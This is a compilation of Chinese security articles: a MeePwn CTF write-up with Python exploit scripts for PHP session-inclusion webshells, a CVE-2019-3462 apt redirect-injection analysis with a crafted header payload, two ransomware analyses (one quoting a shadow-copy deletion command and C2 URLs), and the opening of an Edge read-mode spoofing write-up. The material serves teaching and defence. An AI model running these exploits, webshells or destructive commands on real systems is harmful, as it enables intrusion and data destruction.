而其中的`search_name_by_mail($conn,$_POST['email']` 正是用户名`<?=include"$_COOKIE[a]`
所以包含session文件就可以把Cookie里的变量a
包含进来，而a又是command.txt解码后的结果，也就是一句话木马。这时就可以以f为密码传入任意命令了。
* 读到数据库配置文件
* 读到配置文件dbconnect.php
<?php
define('DBHOST', 'localhost');
define('DBUSER', 'mapl_story_user');
define('DBPASS', 'tsu_tsu_tsu_tsu');
define('DBNAME', 'mapl_story');
$conn = mysqli_connect(DBHOST,DBUSER,DBPASS,DBNAME);
if ( !$conn ) {
die("Connection failed : " . mysql_error());
}
* 然后执行命令
echo 'SELECT * FROM mapl_config;'| mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story
或
mysql -e'select * from mapl_config' -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story
### 脚本
也可参考脚本理清利用过程：
# -*- coding: utf-8 -*- # by https://findneo.github.io/
import requests, hashlib, base64
def change_name(character_name):
payload = dict(name=character_name, submit='Edit')
r = requests.post(url + "?page=setting.php", cookies=cookie, data=payload)
def give_pet(user_email):
payload = dict(pet="babydragon", email=user_email, submit="Give")
r = requests.post(url + '?page=admin.php', cookies=cookie, data=payload)
return r.content
def command(cmd="testcmd"):
payload = dict(command=cmd, submit="Send")
r = requests.post(
url + "?page=character.php", cookies=cookie, data=payload)
def shell(cmd='uname'):
payload = dict(
page="/var/lib/php/sessions/sess_" + cookie['PHPSESSID'], f=cmd)
r = requests.get(url, cookies=cookie, params=payload)
return r.content
# edit your cookie['PHPSESSID'] & user_email to run this script
url = "http://178.128.87.16/"
user_email = "[email protected]"
salt = 'ms_g00d_0ld_g4m3'
cookie = dict(
PHPSESSID='8es749ivbfetvsmsc0ggthr2e5',
_role='a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054',
a="php://filter/convert.base64-decode/resource=upload/%s/command.txt" %
hashlib.md5(salt + user_email).hexdigest())
change_name('<?=include"$_COOKIE[a]')
# 修改用户名使读Session文件时包含进Cookie['a']，即command.txt得base64解码
cmd = base64.b64encode("<?=`$_GET[f]`;") #'PD89YCRfR0VUW2ZdYDs='
command(cmd[:19]) # 往command.txt写入base64编码的shell，缺少最后一个等号也可正常解码
give_pet(user_email) # 使Session文件中的action值为"Give $pet to player $username"
cmd = "mysql -e'select * from mapl_config' -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story"
print shell(cmd)
# mapl_salt mapl_key mapl_now_get_your_flag
# ms_g00d_0ld_g4m3 You_Never_Guess_This_Tsug0d_1337 MeePwnCTF{__Abus1ng_SessioN_Is_AlwAys_C00L_1337!___}
# 另一种思路：拼接`$_SESSION` 变量
另外， [这篇文章](https://movrment.blogspot.com/2018/07/meepwn-ctf-2018-qual-maple-s.html) 里提供的一种拼接`$_SESSION`
变量的做法虽不比前者综合利用多处缺陷的优雅，但最大化地利用了单点的缺陷，很有创意，值得学习。
# -*- coding: utf-8 -*- # by https://findneo.github.io/
import requests, hashlib, base64
def change_name(character_name):
payload = dict(name=character_name, submit='Edit')
r = requests.post(url + "?page=setting.php", cookies=cookie, data=payload)
def give_pet(user_email):
payload = dict(pet="babydragon", email=user_email, submit="Give")
r = requests.post(url + '?page=admin.php', cookies=cookie, data=payload)
return r.content
def shell(cmd='uname'):
payload = dict(
page="/var/lib/php/sessions/sess_" + cookie['PHPSESSID'], f=cmd)
r = requests.get(url, cookies=cookie, params=payload)
return r.content
# edit your cookie['PHPSESSID'] & user_email to run this script
url = "http://178.128.87.16/"
user_email = "[email protected]"
salt = 'ms_g00d_0ld_g4m3'
cookie = dict(
PHPSESSID='8es749ivbfetvsmsc0ggthr2e5',
_role='a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054',
)
def do(s):
change_name(s)
give_pet(user_email)
print s
print shell()
payload1 = """
<?=$_SESSION[a]='*/'?>
<?=$_SESSION[a].=';'?>
<?=$_SESSION[a].='"'?>
<?=$_SESSION[a].='<'?>
<?=$_SESSION[a].='?'/*
<?=$_SESSION[a].='='/*
<?=$_SESSION[a].=' '/*
"""
payload2 = '`echo PD89YCRfR0VUWzFdYDsK|base64 -d >> upload/%s/command.txt`' % hashlib.md5(
salt + user_email).hexdigest()
payload3 = """
<?=$_SESSION[a].=''/*
<?=$_SESSION[a].='?'/*
<?=$_SESSION[a].='>'/*
<?=$_SESSION[a]?>
"""
def xxx():
for p in payload1.split('\n')[1:-1]:
do(p)
for c in payload2:
p = "<?=$_SESSION[a].='%s'/*" % c
do(p)
for p in payload3.split('\n')[1:-1]:
do(p)
xxx()
print hashlib.md5(salt + user_email).hexdigest()
# 可通过运行结果理解payload的巧妙
# 结果存放在
# https://github.com/findneo/ctfgodown/blob/master/20180718-Meepwn%20CTF%20Quals%202018/WEB/maplStory_SESSION_CONCAT_result.txt
# shell at
# http://178.128.87.16/?page=upload/e500ec6d3d2b69fda8ff11b5b53b5ee2/command.txt&1=ls
# 参考链接
<https://ctftime.org/writeup/10418>
[MeePwn CTF 2018 Qual - Maple
Story](https://movrment.blogspot.com/2018/07/meepwn-ctf-2018-qual-maple-s.html) | 社区文章 |
翻译稿件：<https://justi.cz/security/2019/01/22/apt-rce.html>
1月22日，Max Justicz 在其[博客](https://justi.cz/security/2019/01/22/apt-rce.html)中发布了关于 apt/apt-get 的远程执行漏洞(CVE-2019-3462)。
漏洞允许一个中间人或者是恶意的镜像源在受害者的机器上以root权限安装任意的软件包。
这个Bug已经在最新版本的apt中修复。
建议你也尽快升级你的apt版本，如果你担心在升级apt的过程中被攻击，你可以使用如下命令在升级的过程中禁用HTTP重定向。
$ sudo apt update -o Acquire::HTTP::AllowRedirect=false
$ sudo apt upgrade -o Acquire::HTTP::AllowRedirect=false
但是如果你当前的的镜像源默认为重定向的，那么你只能重新配置一个新的镜像源了。
如果你感兴趣，你也可以查看[Debian](https://lists.debian.org/debian-security-announce/2019/msg00010.html)与[Ubuntu](https://usn.ubuntu.com/3863-1/)对于该漏洞的官方声明。
[这里](https://justi.cz/assets/aptpoc.mp4)是该漏洞POC的视频，这是关于这个视频中配置环境的的Dockerfile:
FROM debian:latest
RUN apt-get update && apt-get install -y cowsay
## 背景
apt 支持多种协议。在获取数据的时候，apt 会对不同协议的数据传输 fork 出不同子进程(worker processes)。
父进程会利用 stdin/stdout 与这些子进程进行通信，通过一个类似 HTTP 的协议，告诉他们去下载什么东西，下载的东西放在那里，
例如，当在一台机器上运行指令 _apt install cowsay_ ，apt 将会 fork
/usr/lib/apt/methods/HTTP的进程，返回 _100 Capabilities_ 的信息。
100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true
父进程将会将基本的配置发送过去，并请求一个资源。
601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...many more lines omitted...)
600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070
子进程在请求资源后，将会有如下的返回值
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers
200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
但是，如果HTTP服务器返回一个重定向，子进程则会返回一个 _103 Redirect_ 而不是 _201 URI Done_ 。
然后父进程则会根据这个重定向的返回值确定下一次要请求的资源。
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri
## 漏洞
然而，子进程在处理HTTP服务器的返回值时，只是解码了HTTP头中的 _location_ 字段， **并且未加任何判断，就添加到了 _103
Redirect_ 的返回值中**。
// From methods/baseHTTP.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);
// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{
std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n"
<< "New-URI: " << NewURI << "\n"
<< "\n" << std::flush;
Dequeue();
}
需要注意的是，上面这段代码在不同的apt版本中有很大的差别。上面的代码是选自1.4.X版本的，也就是Debian目前正在使用的版本。
而一些新版的Ubuntu使用的是1.6.X版本的apt，尽管在这里会对URI进行判断，但是在返回 _600 URI Acquire_ 时也同样存在漏洞。
所以，如果HTTP服务器返回的Header中为 _Location: /new-uri%0AFoo%3A%20Bar_ , 子进程将返回如下内容：
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar
或者，如果HTTP服务器返回的Header中为
Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20HTTP%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A
子进程将返回如下内容：
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload
201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
这是，父进程将会信任在 _201 URI Done_ 中植入的hash值，并且与对应的包进行对比。
因此攻击者可以伪造任意hash，并且利用这个漏洞来伪造任意的软件包。
## 如何植入恶意的软件包
在我的POC中，因为我是直接插入了一个 _201 URI Done_ ，这样被攻击的机器上并没有开始下载软件包。
这时，我需要考虑一个方法，能够让我的恶意 _.deb_ 程序被下载到目标机器上。
为了实现这一目标，我想到了在 _apt update_ 期间下载的 _Release.gpg_ 文件是可以被操纵的，并且会被下载到可预测的位置。
特别是， _Release.gpg_ 文件包含了PNG签名，它的形式如下：
-----BEGIN PGP SIGNATURE----- ...
-----END PGP SIGNATURE----
如果在 _Release.gpg_ 文件中包含了一些其他的内容，只要不破坏签名部分的内容，apt的签名验证程序依然可以通过。
所以我拦截了 _Release.gpg_ 文件的响应，并将我的恶意 _.deb_ 添加在其前面。
<oops.deb contents>
-----BEGIN PGP SIGNATURE----- ...
-----END PGP SIGNATURE-----
然后，我在安装软件包的201 URI Done响应中设置Filename参数指向：
/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
译者注：
这样，apt就会从将deb.debian.org_debian_dists_stretch_Release.gpg看做是一个* _.deb_
安装包，并将其安装到系统中。
## 关于HTTP和HTTPS的一些讨论
为了便于使用，Debian 和 Ubuntu 默认情况下都会使用明文的HTTP存储库。
如果所有的文件都签名过了，那为什么还要使用HTTPS？
毕竟，使用HTTPS对用户的隐私增益很小，因为签名能够保证软件包不被替换。
并且使用HTTPS使得软件包的缓存更加困难。
人们普遍赞同这种观点，甚至还有人专门搭建了一个[网站](https://whydoesaptnotuseHTTPS.com/)来解释为什么在apt中使用HTTPS是毫无意义的。
当然，他们说的也有对的地方，但是却会出现这篇文章中的漏洞。
而这个漏洞其实也有类似的案例 - [Jann
Horn](https://twitter.com/tehjh/)在2016年就发现的另一个具有相同影响的[漏洞](https://www.debian.org/security/2016/dsa-3733)。
即使是使用HTTPS，一个恶意镜像仍然可以利用这样的bug。
但我认为，一个普通的网络攻击者发起这种攻击的可能性，远远大于 _deb.debian.org_ 。
支持HTTP也没什么不好，我只是认为应该将默认的链接方式设置为HTTPS，
如果用户在深入了解机制后，可以自己将其降级为HTTP。
## 总结
首先要感谢 apt 的维护者们这么快就将漏洞补上了，在和 Debian 团队协调后，我才将这个漏洞的细节纰漏。 | 社区文章 |
# 【技术分享】勒索软件Spora以离线方式感染——无需与控制服务器通信
|
##### 译文声明
本文是翻译文章，文章来源：securingtomorrow.mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/spora-ransomware-infects-offline-without-talking-control-server/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[华为未然实验室](http://bobao.360.cn/member/contribute?uid=2794169747)
预估稿费：110RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**传播方式**
Spora是一款勒索软件，其会加密受害者的文件，受害者想要解密文件就必须支付赎金。该勒索软件通过大量垃圾邮件在短时间内感染了众多计算机。其有一个非常特殊的特性——以离线方式感染。
垃圾邮件中有一个.zip文件，其中包含一个用于逃避某些电子邮件扫描器的检测及最大限度扩大其传播范围的HTA（HTML应用程序）文件。邮件内容精心设计，目的是使用社会工程技术引诱受害者。该HTA文件还通过使用rtf.hta和doc.hta双扩展来欺骗用户。如果文件扩展名在受害者的机器上隐藏，那么他们将只看到第一个扩展名，并可能受骗打开文件。
垃圾邮件如下所示：
HTA文件的内容：
在运行时，HTA文件在%Temp%文件夹中释放一个JavaScript文件。随后，JavaScript在％TEMP％中提取一个带有随机名称的可执行文件（在本例中为：goodtdeaasdbg54.exe）并执行。
HTA文件还提取并执行一个损坏的.docx文件，并返回一个错误来分散受害者的注意力：
**
**
**分析**
Goodtdeaasdbg54.exe使用UPX打包工具打包，并包含有效载荷（Spora）。其首先检查此文件的副本是否在内存中运行。如果没有，则其创建一个互斥体。Spora使用互斥对象来避免多次感染系统。
Spora检查系统中可用的逻辑驱动器：
一旦资源可用，Spora立即搜索要加密的文件，但会规避“windows”、“Program files”及“games”。
Spora从目标系统中删除卷影副本，从而使用户无法恢复加密的文件。要删除卷影副本，Spora使用命令“vssadmin.exe Delete Shadows
/All /Quiet”。该勒索软件使用vssadmin.exe实用程序静默删除计算机上的所有卷影副本。
其还在根驱动器创建.lnk文件以及.key和.lst文件。
Spora还会删除注册表值，以删除快捷方式图标。
**加密过程**
第1步：它为每个文件生成一个随机的“文件不同而各异的AES”对称密钥。
第2步：Spora生成本地公 – 私密钥对。
第3步：第2步生成的公钥将加密“文件不同而各异的AES”密钥，并将其附加到加密文件。
第4步：在加密所有文件后，Spora生成唯一的AES对称密钥。
第5步：第2步中生成的私钥被复制到.key文件中，并被第4步中生成的唯一AES密钥加密。
第6步：最后，通过解密公钥（如下所述）并将其附加到.key文件来加密唯一的AES密钥。
恶意软件作者的公钥使用硬编码AES密钥嵌入在恶意软件可执行文件中。解密的公钥：
只有恶意软件作者持有的私钥才能进行解密。付款完成后，作者才可能向受害者提供私有RSA密钥来解密在.key文件中附加的加密的AES密钥。解密的AES密钥将解密剩余的.key文件，其中包含用户的私有RSA密钥。整个过程有点复杂、冗长，但通过使用该方案，Spora就无需从控制服务器获取密钥，就可以脱机工作。
**密钥文件**
Spora加密六种类型的文件扩展名：
.key文件名包含以下格式的信息：
并使用替换方法对所有这些信息进行编码。
在我们的例子中，US736-C9XZT-RTZTZ-TRHTX-HYYYY.KEY转换为：
美国作为地区。
字符“736C9”表示MD5哈希的开始。
10个加密的office文件（第1类）
两个加密的PDF（第2类）
零加密CorelDraw / AutoCAD / Photoshop文件（第3类）
零加密数据库文件（第4类）
25个加密图像（第5类）
15个加密存档（第6类）
.key文件的解码机制：
**
**
**赎金消息**
以下是俄语和英语版的赎金说明：
Spora给受害者提供若干方案，期限不同，价格不同。
分析中使用的哈希值：
a159ef758075c9fb64d3f06ff4b40a72e1be3061
0c1007ba3ef9255c004ea1ef983e02efe918ee59 | 社区文章 |
**作者: Yenn_
原文链接:[Wei's
Blog](https://0xdf1001f.github.io/2020/04/22/%E5%8B%92%E7%B4%A2%E7%97%85%E6%AF%9272ccc18f3038e19273010d45ac2142ce/)**
2019-09-09我发在CSDN，这里把我的文章copy过来。
萌新第一次分析病毒
# 基本信息
FileName | FileSize | FileType | MD5
---|---|---|---
tfukrc.exe | 240,640 Byte | 勒索病毒 | 72ccc18f3038e19273010d45ac2142ce
# 简介
该病毒感染受害主机后，会先创建COM对象来达到反沙箱的效果，删除自己备用数据流，从自身解密出将会使用的代码及字符串，检查TOKEN信息，尝试提权，然后将自己拷贝重命名为随机字符串到”MyDocument”目录下后再删除自身，监控杀死部分进程CMD、Procexp、mscconfig、regedit、Taskmgr，创建一个优先级最低的线程遍历全盘指定后缀加密文件，在所有文件夹下都会新建勒索信息的txt和png，最后会删除卷影拷贝，然后将用户信息加密后发送出去
# 流程图
[
# 详细分析
第一个函数先使用开始时间作为种子，生成一个随机数，用于生成随机字符串，这个字符串是后面病毒拷贝时的名称
[
[
创建COM对象，使用COM库中的DirectShow相关音频代码来检测沙箱
[
得到自己文件的路径，并且拼接字符串，拼接出文件的备用数据流:Zone.Identifier,并且删除文件的备用数据流，用于关闭弹窗警告
[ 获取到”MyDocument”我的文档路径，后面拷贝文件会用到
[
得到Wow64DisableWow64FsRedirection,解决32位与64位重定向的问题
[
## 解密字符串
解密出病毒后面运行会使用的相关字符串
[
第一次申请内存，解密出病毒将要加密文件的后缀，并将后缀放在一块申请的内存中，然后将内存的地址赋给一个变量
[
解密出的文件后缀
[
重新申请一块内存空间，将内存地址赋值给变量
[
跟随变量中的内存地址，可以再次看见后缀，后面会使用后缀判断是否加密文件
[
[
文件后缀列表如下：
.r3d | .forge | .wpd | .menu | .rofl | .x1k | .iwd | .hvp1 | .qic | .mrwref
---|---|---|---|---|---|---|---|---|---
.ptx | .asset | .rtf | .ncf | .dba | .ppt | .kf | .icxs | .bkp | .nrw
.pef | .1itemod | .wb2 | .sid | .db0 | .pptx | .mlx | .docm | .bc7 | .orf
.x3f | .iwi | .pfx | .sis | .kdb | .pptm | .fpk | .WpS | .bc6 | .raw
.srw | .das | .p12 | .ztmp | .mpqge | .mdb | .dazip | .x1s | .pkpass | .rw1
.der | .upk | .p7b | .vdf | .vfs0 | .accdb | .vtf | .x1sx | .tax.gdb | .rw2
.cer | .d3dbsp | .p7c | .mov | .mcmeta | .pst | .vcf | .x1sm | .qdf | .mdf
.crt | .csv | .txt | .fos | .m2 | .dwg’ | .esm | .x1sb | .t12 | .dbf
.pem | .wIV | .ipeg | .sb | .1rf | .xf | .blob | .wallet | .t13 | .psd
.odt | .avi | .png | .itm | .vpppc | .dxg | .drmp | .big | .bsa | .mdbackup
.ods | .wma | .rb | .wmo | .ff | .pdd | .layout | .pak | .1tx | .hkdb
.odm | .m4a | .cSS | .itm | .cfr | .pdf | .dcr | .rgss3a | .sr2 | .hplg
.odp | .rar | .js | .map | .snx.1vl | .eps | .ai | .epk | .bay | .sum.sie
.odc | .7z | .flv | .WTmO | .arch00 | .jpg | .indd | .bik | .crw | .zip
.odb | .mp4 | .m3u’ | .sb | .ntl | .jpe | .cdr | .slm | .cr2 | .w3x
.doc | .sql | .py | .svg | .fsh | .dng | .erf | .1bf | .sidd | .rim
.docx | .balk | .desc | .cas | .itdb | .3fr | .bar | .sav | .sidn | .psk
.kdc | .tiff | .xxx | .gho | .itl | .arw | .hkx | .re4 | .bkf | .tor
.mef | w.ibank | .litesql | .symcdb | .mddata | .srf | .raf | .apk | .vpk |
第二次申请内存，解密出创建勒索信息文本的.txt和.png相关的字符串
[
[
同样，将揭密出的字符串放在一块新申请的内存中，然后将内存地址放在变量中，后面执行代码会用到这些字符串
[
[
[
第三次申请内存，解密出病毒执行的部分代码字符串，包括删除卷影拷贝、监视的进程名、修改注册表等
[
[
第三次同样也会将解密出的字符串放在新申请的内存中，然后将内存的地址放在一个变量中，以便后边代码使用
[
[
[
第四次申请内存，解密出与病毒上传加密后的主机信息的HTTP相关的字符串
[
[
也会将这一部分揭密出的字符串放在一个新申请的内存中，然后将内存地址放在变量中，在后面的代码执行时使用。
[
[
[
第五次申请内存，解密出勒索文本，用在后面创建勒索文件
[
[
## 查询TOKEN信息
字符串解密完成后，利用GetTokenInformation获取进程的权限级别
[
[
通过查询GetTokenInformation中的TokenIntegrityLevel查询程序运行的完整性级别，包、
括Untrust， Low， Medium， Hight， System等， 级别越低，权限也就越低，当权限不足时，使用RUNAS以管理员运行
[
## 查询所在目录
当权限足够时，会查询自己是否在”MyDocument”我的文档目录下，当自己存在于我的文档下时，会直接返回，运行后边的恶意代码
[
## 拷贝自身创建新进程
当自己不存在于我的文档目录下时，会将自己拷贝到我的文档目录下一个随机字符串的.exe，并将设为隐藏属性，拷贝完成后会创建新线程调用拷贝后的文件，完成后再调用CMD.exe删除原来的病毒本身
[
[
[
## 查询操作系统信息
新的病毒进程也会重复以上检测自己是否存在于”MyDocument”我的文档目录下，当存在时，直接运行后面的代码,将一块内存全设为0，然后用来保存获取到的系统信息
[
## 查询自身CheckSum
病毒会通过偏移查询自己的CheckSum，然后保存在变量中，最后返回值的451
[
[
## 提权
病毒会先从解密的字符串中得到SeDebugPrivilege字符串，然后当作参数传入提权，查询系统的TOKEN信息，然后将自己提权SeDebugPrivilege权限
[
[
[
## 监控杀死指定进程
病毒提权后，会创建一个新线程，用来监控当前运行的进程，当出现指定进程时，就关闭指定进程，进程名来自前面解密出的字符串
[
监控的进程包括：
## 删除卷影拷贝
病毒会判断当前系统的DwBuildNumber版本号，如果操作系统不是XP2600版本就会执行命令，创建新线程删除卷影拷贝，执行的命令也是从前面解密出的字符串取得
[
[
## 取得桌面路径
返回桌面路径，用在后面创建勒索文本和图片
[
## 修改注册表，生成密钥并加密
病毒会在注册表下HKCU\Software\新建一个MSVV项，写入用户的ID
[
然后在HKCU\Software\以用户ID命名的新项，其中写入的值data一共分为四段，是在Mydocument下的Recover+file.txt中加密前的内容，后面病毒会将这一块数据加密后发回服务器
这四段数据第一段是addr，第二段是dh，第三段是用户ID，第四段是OS版本号
[
[
注册表添加完成后，会生成一次密钥，使用CryptGenRandom()函数获取随机数，经过CSP生成一个256位的密钥
[
再获取进程、线程、时间等信息，将密钥加密
[
得到密钥后，再经过Secp256k1加密一次，得到一个加密后的密钥
[
## 自动启动
病毒在注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run路径下，新建了名称为”+++随机四位字母”的注册表值，数据为调用CMD
/C 自启执行“MyDocument”下的病毒
[
[
## 创建+recover+file.txt文件
病毒先获得我的文档路径
[
然后将前面获得的数据拼接在一起，这里的数据和注册表data项中的值一样，不过后面写入文件的时候会加密，分别是作者自己定义的addr、dh还有被勒索的用户ID，系统版本号
[
病毒会生成一个密钥，将这段数据加密，然后写入+recover+file.xtx中
[
[
## 加密
病毒会创建一个新线程，并且将线程的优先级设置到最低，然后用这个线程来加密文件
[
病毒会从A:\ B:\开始遍历所有磁盘
[
当遍历到软盘、硬盘或网络磁盘的时候，获取到硬盘信息，然后准备加密文件
[
病毒先会遍历主机上所有目录，在每一个目录下先创建”+REcovER+随机字符串+”的txt和PNG文件
[
在每个目录下创建完成后，才开始加密文件，病毒会先获取文件的名称，保存在变量中
[
病毒判断文件不是.com文件，不是病毒写入的勒索信息文本，然后将所有文件名与前面解密出的后缀匹配，加密相应文件
[
病毒先得到进程的堆句柄，然后用堆句柄申请一块空间
[
[
判断文件大小，
[
开始加密时，先读取要加密文件的数据
[
将前面使用Secp256k1加密后的密钥拷贝32字节到新值中
[
将新密钥经过轮函数得到一个新密钥
[ 将读取到的文件数据在申请的堆空间里加密
[
加密完成后将数据保存在堆空间中然后将文件指针移动到文件开头，在开头写入垃圾数据
[
最后将堆空间加密后的内容写入文件，然后刷新保存在硬盘
[
## 创建打开勒索文本
在病毒加密完成后，会在桌面创建勒索信息的txt和png文件，然后打开他们
[
## 发送信息到服务器
病毒会将用户的各项信息加密后发送到指定前面解密出的URL中
加密前的数据，包括的用户的个人ID和系统版本号等信息
[
将发送的信息加密
[
拼接出HTTP请求头后用POST发送到指定URL
[
## 删除自身
运行完成后会调用CMD执行/C DEL删除自身
[
[
# 样本溯源
FileName | FileSize | MD5
---|---|---
tfukrc.exe | 240,640 Byte | 72ccc18f3038e19273010d45ac2142ce
随机字符串.exe | 240,640Byte | 72ccc18f3038e19273010d45ac2142ce
+recover+file.txt | 256 Byte | 3aa3bfac733afd6311334c551f3f7c09
+REcovER+随机字符串+.txt | 2,459 Byte | 072c1e92f6f35ce4f895e337b9093490
+REcovER+随机字符串+.png | 74,272 Byte | dec3149215bd95e2abf13bea6aefc862
**URL：**
<http://uideoaminproduktion.de/plugins/binstr.php>
<http://clubsaintandre.fr/images/binstr.php>
<http://affiliateproductes.com/binstr.php>
<http://ptgp.pl/tmp/binstr.php>
<http://strategicdisaster.info/wordpress/wp-content/plugins/binstr.php>
<http://minteee.com/images/binstr.php>
<http://uj5nj.onanwhit.com/>用户ID
<http://2gdb4.leoraorage.at/>用户ID
<http://9hrds.wolfcrap.at/>用户ID
TOR URL：
k7tlx3ghr3m4n2tu.onion/16751E6C29B615
# 查杀方案
删除我的文档下隐藏的病毒文件
删除启动项HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run下随机字符串启动项
删除注册表HKCU\Software\MSVV
删除注册表HKCU\Software\随机字符串（用户ID）项
已被加密文件暂无方法
# 总结
病毒在计算机中勒索所有指定后缀的文件，且制造大量无意义的勒索信息文件，加密中先使用系统信息等生成的随机数再利用Secp256k1非对称加密得到一个密钥再将密钥多次加密得到就加密文件的密钥，这样密钥不易被猜解。最好的办法是提高防范意识，不随意点开来意不明的exe文件。
* * * | 社区文章 |
# 【技术分享】基于Edge浏览器阅读模式的伪装术 （含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：brokenbrowser.com
原文地址：<https://www.brokenbrowser.com/sop-bypass-abusing-read-protocol/ >
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2794169747)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
近期，微软公司的Edge浏览器团队开始在tweet上面大肆宣扬阅读模式，说这个功能可以消除网页的混乱，以免让人分心。我对这些东西并不陌生，因为我了解各种伪协议在Edge浏览器中的运行机制，不过之前我还从来没有用过它，直到最近关于它的讨论在tweet上面炸了锅。如果您是急性子，可以直接观看PoC视频，否则的话，可以耐着性子阅读本文。
要想体验一把阅读模式的话，可以加载网站，然后点击阅读视图按钮（即书状图标）。
这样的话，网页看起来会更清爽一些。
但是，该网页的这个decaf版本的真正地址是什么呢？
打开开发工具（F12）并在控制台中键入location.href：很明显，Edge浏览器正在URL前边添加了伪协议read：。
以下漏洞适用于所有Edge浏览器版本，但这里的PoC本身是针对Edge
15构建的。要想在旧版本上执行这个POC的话，必须进行相应的修改，以确保以阅读模式呈现它。
**阅读模式是一种内部资源**
阅读模式网页与真实网站无关。 如果我们查看源码（按CTRL U）的话，我们将找不到原始页面的任何踪迹，实际上它是一个托管在文件系统中的内部资源：
C:WindowsSystemAppsMicrosoft.MicrosoftEdge_8wekyb3d8bbweAssetsReadingView
Edge浏览器会解析原始网页的内容，删除iframe /
scripts及其他html标签，最后将其呈现在内部阅读视图html中托管的iframe中。但所有这些都是在幕后进行的，用户对这些不得而知，通常会误以为还在原始网站上，因为地址栏并没有改变。
但是，如果Edge浏览器通过在真实URL之前设置“read：”协议，在阅读模式下呈现网页的话，我们还可以利用脚本搞些小动作吗？
我们可以自动在阅读模式下加载任何网址吗？
**强制任意网站进入阅读模式**
我们来看看是否可以通过前置read：协议来迫使任意的URL使用读取模式进行呈现。
location.href = "read:http://www.cracking.com.ar"; // prepending read: does the trick
这种做法的效果非常好，但是仍然有某些东西会引起人们的注意：虽然地址栏中的URL是crack.com.ar，但是渲染的内容来自brokenbrowser.com。这是什么情况呢？
那么，如果我们检测crack.com.ar的话，我们会看到有一个location.replace指向brokenbrowser.com，但Edge浏览器并没有更新地址栏！
**漏洞＃1：在阅读模式下，当脚本/ http重定向发生时，Edge浏览器并不会更新地址栏。**
**寻找我们感兴趣的重定向**
这意味着我们可以利用重定向伪装成任意网站，甚至可以控制所有重定向到位于我们掌控之下的网站的那些网站。
例如，如果我们可以使google.com重定向到一个恶意的页面，那么用户将会认为内容来自谷歌，实际上它是来自evil.com。
